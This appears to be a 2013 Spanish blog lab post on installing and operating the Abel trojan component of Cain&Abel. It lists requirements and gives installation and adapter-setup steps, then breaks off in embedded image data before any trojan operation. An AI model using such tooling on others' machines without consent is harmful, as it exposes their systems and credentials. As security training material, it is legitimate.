Anonymoushttp://www.blogger.com/profile/02588060334651150968noreply@blogger.com0tag:blogger.com,1999:blog-7163708568876453448.post-26248809831748454712013-02-06T23:33:00.000+01:002013-02-06T23:33:46.668+01:00Instalación y Operación de un Troyano<div dir="ltr" style="text-align: left;" trbidi="on">
"Hola Mundo" .... En el presente post trataremos de ver como podemos instalar y operar un troyano para eso los requisitos del presente laboratorio serán los siguientes:<br />
<br />
<br />
· Cain&Abel 4.9.7 o superior.<br />· WinPCap 4 o superior.<br />· Windows 2000/XP.<br />
<br />
Descripción:<br />Cain&Abel es una herramienta que presenta varias funcionalidades. Nos concentraremos en su habilidad como troyano (Abel).<br />
<br />
Instalación:<br />1. Realice la instalación por defecto de la herramienta haciendo doble clic sobre el archivo ejecutable (ca_setup.exe). Durante el proceso, se le consultará sobre la instalación del driver WinPcap, haga clic en “INSTALL”.<br />
<br />Desarrollo:<br />1. Inicie la aplicación “Cain” haciendo doble clic sobre el ícono presente en el escritorio.<br />2. Del menú principal, seleccione “Configure”. Asegúrese que el adaptador de red seleccionado sea el apropiado.<br />
<br />
<br />
<div style="text-align: center;">
<img alt="" src="data:image/png;base64,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